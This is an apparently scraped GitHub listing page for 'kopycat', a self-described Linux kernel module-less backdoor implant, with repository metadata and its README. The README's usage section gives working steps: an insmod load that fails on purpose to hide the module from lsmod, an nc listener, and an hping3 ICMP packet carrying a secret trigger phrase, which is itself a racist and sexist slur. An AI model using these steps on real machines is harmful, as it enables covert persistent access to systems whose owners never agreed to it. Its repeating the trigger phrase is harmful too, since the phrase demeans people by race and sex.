https://github.com/milabs/kopycat

Linux Kernel module-less implant (backdoor)
https://github.com/milabs/kopycat

Last synced: about 2 months ago
JSON representation

Linux Kernel module-less implant (backdoor)

• Host: GitHub
• URL: https://github.com/milabs/kopycat
• Owner: milabs
• Created: 2021-02-27T22:07:00.000Z (almost 4 years ago)
• Default Branch: master
• Last Pushed: 2021-03-11T10:52:41.000Z (almost 4 years ago)
• Last Synced: 2023-03-23T08:27:57.672Z (almost 2 years ago)
• Language: C
• Size: 3.91 KB
• Stars: 53
• Watchers: 7
• Forks: 20
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# 0

KOPYCAT - Linux Kernel module-less implant (backdoor)

# Usage

~~~

$ make

$ sudo insmod kopycat.ko

insmod: ERROR: could not insert module kopycat.ko: Inappropriate ioctl for device

$ lsmod | grep kopycat

$ cat /proc/modules | grep kopycat

~~~

Launch `nc` listener:

~~~

$ nc -l 6666

~~~

Trigger the backdoor by sending ICMP packet with secret phrase:

~~~

$ sudo hping3 -c 1 -j -1 -e black-wives-are-fatter 127.0.0.1

~~~

# Author

[Ilya V. Matveychikov](https://github.com/milabs)

2021